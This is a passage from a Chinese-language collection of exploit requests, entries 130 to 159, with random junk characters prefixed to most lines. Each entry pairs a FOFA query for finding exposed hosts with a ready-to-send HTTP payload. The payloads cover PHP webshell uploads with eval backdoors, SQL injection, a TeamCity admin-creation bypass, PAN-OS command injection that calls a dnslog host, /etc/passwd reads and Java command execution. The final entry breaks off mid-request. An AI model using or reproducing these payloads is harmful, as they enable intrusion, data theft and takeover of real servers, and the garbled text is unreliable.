% P/ W8 b. P1 N, z130. Laykefu客服系统任意文件上传
  x' a' ?% a% c, Q2 l' D6 ZFOFA：icon_hash="-334624619"
; |" N+ o$ k- a0 J. UPOST /admin/users/upavatar.html HTTP/1.1
: Y, E$ i* E/ g2 uHost: 127.0.0.1
" v8 R. A- [) g; v' G- u/ TAccept: application/json, text/javascript, */*; q=0.01
" {! X: E: C! J, [: u. V8 P# P3 YX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
8 Y- u% W) q. f# y/ ~
------WebKitFormBoundary3OCVBiwBVsNuB2kR
2 n2 R8 P3 _4 b) z/ W0 j0 a# [Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

. f$ n( h2 m9 s5 s! ^* z. s<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
( d2 ]- V8 _; y+ X" ^1 N4 [- OFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
1 ?# J+ w4 H0 D! d2 v) g
: A5 w* x! y; I8 I$ \; \132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
% D  ~) S# e, N4 X: a( P. bCVE-2024-27198
FOFA：body="Log in to TeamCity"
% @2 v' O% ?1 ?; I3 y4 E  }POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
3 k0 o0 k' k  |) [) yHost: 192.168.40.130:8111
+ a5 p1 K. j- hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; V* n: A# b& eAccept: */*
1 {* G1 W/ z2 q5 Q8 J) ~Content-Type: application/json
5 w9 [0 o2 Z8 o5 a0 w- e/ p0 FAccept-Encoding: gzip, deflate
1 ?5 f# W7 a/ I" i
  a8 |4 y  S9 W5 u" {{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


; I2 i% d# Q7 b: z! W" [, b/ VCVE-2024-27199
% p! w2 H9 ?% b6 t( s* o/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
4 t" A. r5 s+ T2 w  `) P/update/../admin/diagnostic.jsp
# C# f2 s" h! ]8 c: }& \

CVE-2024-27198-RCE.py
3 ?( y3 F# \  \( v
3 B0 a( d7 v% o& {133. H5 云商城 file.php 文件上传
. p0 C% t; e* K/ k+ PFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
/ F0 }* \, p& i$ B, J6 u7 C% LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

  X  c, m, {3 ]' c4 d) |" L! f------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
7 g: t# W8 m" T8 v" G" r$ }Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
) I# q9 H0 h. K------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



# X% K# c4 [0 g$ j3 F134. 网康NS-ASG应用安全网关index.php sql注入
( B' p  e6 h4 p' R9 [, J6 tCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
' j! o  r* g  l  m1 zFOFA：app="网康科技-NS-ASG安全网关"
. ~! Z3 v- e; }. c  e; J) @* c6 mPOST /protocol/index.php HTTP/1.1
1 {7 e6 l+ T) eHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
2 t0 y0 {  y! R5 x* E/ f* w. Z) Q+ dAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ o1 f  N; A- n* L' i* ?# y  C. Q/ QAccept-Encoding: gzip, deflate
7 M( I+ ^# b  CSec-Fetch-Dest: empty
  c# x1 }$ @* j* hSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
3 d, ]7 _; ^, D$ v5 k3 _* MTe: trailers
Connection: close
# o5 ~" h$ S3 QContent-Type: application/x-www-form-urlencoded
/ X$ P* S) j+ JContent-Length: 263
1 q, u4 Q( W9 t
( g0 l; X( s1 ~jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

8 c7 x' {3 ~1 u! N. {9 Y
. i1 w- F! n( c! ]' f8 |$ d7 I& h135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
" @& n( A; d( Z5 ~* U3 ]FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' @# {( t4 X* }4 j9 NAccept-Encoding: gzip, deflate
, M' ~9 p! y1 C! x3 W: pAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ u0 Y: ^7 L. G: y
$ E0 D" F. x) v5 `3 p
& j. J6 G9 X2 ~- Y, k" h7 G. t136. NextChat cors SSRF
9 C8 i1 H5 d2 t- n- A- ?CVE-2023-49785
FOFA：title="NextChat"
/ R8 K! [0 _0 w" @GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
+ Q; n# B2 x: M6 FHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 {. `- u* B+ `8 u+ Q% ^% ^Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


! ^' f* d  D$ W! f! s$ x) h137. 福建科立迅通信指挥调度平台down_file.php sql注入
% [3 m# M! D9 A% P% M- BCVE-2024-2620
0 l3 |2 B4 y# t5 G9 Z2 xFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) w, K2 |( v5 L; a6 O# i, I) FGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
6 B7 |' \- M, g# _/ s' ?7 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! R% A+ F- J1 p+ B8 ]$ N% IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! J& _* B1 q7 n$ E1 j2 x/ qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; H) Q# X/ O; {Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
0 U( m" u  j/ A2 v5 uUpgrade-Insecure-Requests: 1

# k) B% W5 j  P$ b# s) Y" H
$ n* c+ b; d# j6 E2 k. e) ?138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 K7 `. s$ m% _* cGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
/ R; J$ d( B; G; G' E& kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 `) Z0 X# }: {! [6 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  C( ~; a7 o4 q6 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! x  V+ H: X- g/ T! s9 yAccept-Encoding: gzip, deflate, br
Connection: close
$ T" ^/ p) p3 ~. vUpgrade-Insecure-Requests: 1
, I( O: N) U1 s7 |5 }

$ e' |. P/ K5 S3 H- p  l: M139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
7 r1 K  m" y" F/ m6 q! C- x8 \8 fFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 u# B% z" x; g% h( A3 ?) UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 }$ C+ Z  s& O4 Z( ]+ bAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
- y. j5 j7 b3 f

; F8 v7 M: |5 V# [140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
; e" Z7 D( m" t. SCVE-2024-2566
2 y" @, q8 s1 h3 CFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
6 n, r" W. N$ @4 E7 u( v/ zCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
  G/ b$ m1 n: |+ C: D
. U4 T4 J# K. A
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
# H. G0 G/ D8 V/ ~7 P. @/ UPOST /app/ext/ajax_users.php HTTP/1.1
3 b4 J6 T* u2 y5 f6 f$ y9 i3 E, qHost: your-ip
) H, Y7 s& a& N) L% w$ D+ v- tUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
& k/ B. G8 u1 \* u. ]
" t% m1 q' g4 N9 G/ x2 x" A. M
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
# o; v6 G# L) {- o" x, s

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
7 p$ Z) E6 i2 v, `) Badmin/admin
7 H- U7 u. l4 J+ P: \143. Netis WF2780 v2.1.40144 远程命令执行
" D+ n1 N/ e- |1 ?4 GCVE-2024-25850
FOFA：title='AP setup' && header='netis'
; j/ g0 ~5 d$ ^  s7 O# b% ?PAYLOAD

) G6 g+ m3 o( |  _1 a144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
! d1 Z) x# f+ I  d, C6 O: D- NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
) Z" t" {2 Q; r% _7 Y6 ?Accept: */*
Accept-Language: en
$ p5 r* c$ |! Z- f" i0 a% e( FAccept-Encoding: gzip


& ^; A3 k' g$ H1 ~% r2 V5 L# W2 S145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
5 w) }/ _' k" C  B. J- P1 b! eFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
1 T1 D* P; @. AHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
6 U4 n  v" [3 b& X0 \7 o# v- _
- X3 p3 w, s3 y: T/ ]; z+ l+ r
) q8 n$ m8 j6 {! v146. MajorDoMo thumb.php 未授权远程代码执行
/ g& y. E) D$ W9 C  }CNVD-2024-02175
8 s6 Q" b& d' f1 b% t5 Z# KFOFA：app="MajordomoSL"
+ y* R$ m* v: {$ t( |GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
; c& b* c6 j" Z0 B6 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
: `( Q# f, e4 I. _Accept-Encoding: gzip, deflate
/ W  s- I: h2 |$ b7 i' l5 N( Q9 oConnection: close


  c; g' D8 y# G/ w" E! X147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
" W# b. Q8 e* t# _GET /webeditor/../../../windows/win.ini HTTP/1.1
7 D0 X% P/ E0 A8 i8 R2 }2 lHost: 127.0.0.1:81
Cache-Control: max-age=0
' f& U, Y$ a/ C) P0 }Connection: close


' {0 G4 H5 G& w( O6 e! k148. CrushFTP 认证绕过模板注入
: h. C! B9 E5 o' k  fCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
$ g6 y% p/ {/ b* J0 f
1 F4 g9 C9 b( }  ^/ r! e6 `; q3 l149. AJ-Report开源数据大屏存在远程命令执行
: c! `# }3 j$ Z: o$ JFOFA：title="AJ-Report"
  @+ X$ S- V+ b0 [$ ^
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ p4 z0 f! n! g& Z6 i6 D; {Host: x.x.x.x
* I& {4 |# W  m6 S* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 |' y2 Q6 E5 P+ y: @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ ?. B: y% C9 b/ |/ @2 dAccept-Language: zh-CN,zh;q=0.9
2 S, U. B1 O7 YContent-Type: application/json;charset=UTF-8
4 v! {9 ?7 L( v. ^/ MConnection: close
2 W. H* C( M  P5 Q# \3 q
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
) F8 p2 Y1 D% P. z) G, N# x# O
150. AJ-Report 1.4.0 认证绕过与远程代码执行
' q  T5 r; f  p4 r5 x3 \3 f1 FFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
& g. V  [- Y( D0 \4 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% q5 z2 d1 S0 P. [5 V2 `Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
* d) ?6 d0 G( r3 {; SConnection: close
+ v/ d9 x3 Z  m( OContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
9 Q- \4 b0 H, b5 e: j, }0 H

! u7 _# Z0 T1 z! X8 ~151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
9 k' i; y+ k; J2 g* U5 p1 {! dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 N2 w' S' a5 `6 X) OConnection: close
: c3 W$ _' w0 H9 L% P" S: B" jAccept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
; E  x( s* r1 Z, ?% z, B+ A4 w/ BLoadMaster <= 7.2.59.2 (GA)
1 x' X) ?. R5 J5 S1 v+ u, CLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
9 Q$ b8 q  r/ l0 T1 K, I  }5 i3 aFOFA：body="LoadMaster"
( ?& s+ S8 s3 f1 B0 B* Z& TJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
3 @* M5 A7 W7 ?3 P% YHost: x.x.x.x
# A( [3 B! ?( G( I6 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
9 h4 W: H, Y. {7 ~6 vConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
: l0 m6 E" e5 k, G, L. jAccept-Encoding: gzip


% s9 {3 m  ]1 ?- ~& M153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
2 k2 Q+ P4 v3 r- m第一步，请求/config文件获取componets的id
9 _- I5 [! L5 d/ r2 P/ a4 Ahttp://x.x.x.x/config
- z6 [. X- R7 v( s6 V
. M" Y$ _  |9 X
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
( q1 n# P$ E: p  |/ [4 S$ N5 tHost: x.x.x.x
3 s" P* @' E, ~! l3 r: XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

* N/ ^) W% u- c( {8 a; P{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


4 ]* p6 t/ C) q: _0 \第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

! M/ ]1 D- u0 N. F# V
  {0 \$ N8 e8 o154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
+ e- N+ U5 F5 {+ e: Q4 l) mPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
$ I- E7 Y# H8 {  l/ H2 A/ e5 N/ V8 J3 |Content-Length: 106
Cache-Control: max-age=0
! [8 c( `% H# @Upgrade-Insecure-Requests: 1
% G, k- i  W. uOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
& \5 y$ }# f, e+ k5 E1 BAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
, W( C4 X6 f6 A8 W4 t1 jConnection: close

- {8 {; |" C: x' K! c! Y& y{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
: b' Q7 d0 p( J% p' I, w7 F6 N8 A
6 g) Q) j6 o6 a' ]/ L
; J, `# a8 U( x( Y155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
4 h5 q$ Z, ?; Z: R2 OFOFA：title=="上网导航 - LyLme Spage"
9 T- A1 W6 @8 _1 D2 `6 e7 B7 IPOST /include/file.php HTTP/1.1
5 i( W9 M) C! N4 R1 ZHost: x.x.x.x
# ]. N' g: l# v: V* p+ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
, X0 D% e/ Q( pContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
4 w4 Y) _5 ?7 ~6 n/ G) a$ [. FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( j6 d7 A/ J. h1 R0 m. sContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
: i* F& F/ V  Y6 k. U* kX-Requested-With: XMLHttpRequest
. n% w( @, {% X2 m
-----------------------------qttl7vemrsold314zg0f
* `& I8 i6 t9 I" F# e5 x! k2 mContent-Disposition: form-data; name="file"; filename="test.php"
! q1 `. P6 X# n" W- R6 OContent-Type: image/png

3 M  @8 d3 X* s$ x5 u<?php phpinfo();unlink(__FILE__);?>
: W, T, r' ^0 D3 F* A-----------------------------qttl7vemrsold314zg0f--
# S' h+ T  ?4 G* @) @
: s* K! i/ t9 u' K' P$ r
; E% y7 h* v# l1 ~" h! c访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
+ ]4 s) ~& f2 Q. X. ?0 {7 h
156. TBK DVR-4104/DVR-4216 操作系统命令注入
. S5 r" D7 z: ^& ^8 xCVE-2024-3721
FOFA："Location: /login.rsp"
. \: |* }8 t5 W3 z" ]* `+ U& X5 o·TBK DVR-4104
·TBK DVR-4216
8 X$ K) l7 S; p2 s: e& M% L- Q9 _curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
( w) {+ _4 b! \' a
. Q; |4 v; l  z4 J# e, V
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- F' c- r- L$ h: d1 v5 W9 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
4 E  ~/ Y9 `, J' R8 ^' i5 WCookie: uid=1
Accept-Encoding: gzip

  |: T' [! J1 m2 S% V9 |
7 {0 ]4 N) i: e' w) g  C157. 美特CRM upload.jsp 任意文件上传
( |' `; e5 U: @4 f! ?CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
$ J! Q5 ^3 s7 u+ [! z+ @POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
8 |. N# S8 X, W2 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& @# |* }0 n& y2 P4 _- z! \Accept-Language: zh-CN,zh;q=0.9
3 ]3 H* k2 A! L, ^2 d" QCache-Control: max-age=0
Connection: close
5 a' e7 I/ @& e  q! W! eContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
% O8 K% A. H. A2 }( ]Upgrade-Insecure-Requests: 1
* e: T# Z! n/ |
/ T# R/ n+ h  W& D  K------WebKitFormBoundary1imovELzPsfzp5dN
( v& }4 L3 O8 Z5 I9 VContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
6 [; p7 Q- y) t( s# Z+ @7 CContent-Type: application/octet-stream
6 x3 z: v' E& d% U- t' v8 O
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

; v, y4 C' h* ]. F; |1 _( Vnull
------WebKitFormBoundary1imovELzPsfzp5dN
8 e! g- @: U) u. ?, S- rContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
+ }0 b* I4 i- M
null
% t0 m, z7 E2 W! v------WebKitFormBoundary1imovELzPsfzp5dN
7 x" a( c, P2 {Content-Disposition: form-data; name="filetitile"
) I; c! Q) Q- g5 a6 f
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
6 D4 u- d& P. w5 O/ _------WebKitFormBoundary1imovELzPsfzp5dN--
, `' e( x% {4 ~) q; f. }. z9 i  ~. Z

6 }: N5 ?3 C" Q3 o6 dhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
3 g7 [6 l" j3 ]9 [
. n6 e/ M$ v' d8 \158. Mura-CMS-processAsyncObject存在SQL注入
/ R! _4 O# Z: S- s& x( ^0 G4 h' mCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
( D0 N+ o7 ~! }4 j( K3 Y0 ^Host: {{Hostname}}
$ q& y! A8 D. o! m! \) O; y# YContent-Type: application/x-www-form-urlencoded
- ~) n( ]. l- P- A, [
2 t8 e; C8 E  ^- z' gobject=displayregion&contenthistid=x\'&previewid=1

5 ?; N3 a2 N8 f3 C  Y9 W
! B/ ]* y, C; R4 g159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
# h- H0 r: d, Z: g8 v" l5 ?# g" O( l5 BPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
$ V" _3 O, V1 J' Y/ Q- v( s$ A1 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
' r, M+ ]; m, Z3 h5 @+ MContent-Length: 1080
Accept-Encoding: gzip, deflate
: D' _, L; t5 h; pConnection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

( L* m' E9 z. S6 q% W+ a<?xml version="1.0" encoding="utf-8"?>
; O" w$ O! J+ `8 i, o7 ~<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* D5 L, G* s$ N2 a3 @: \; u<soap:Body>
  V6 I5 w0 w' l: }( s3 u<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
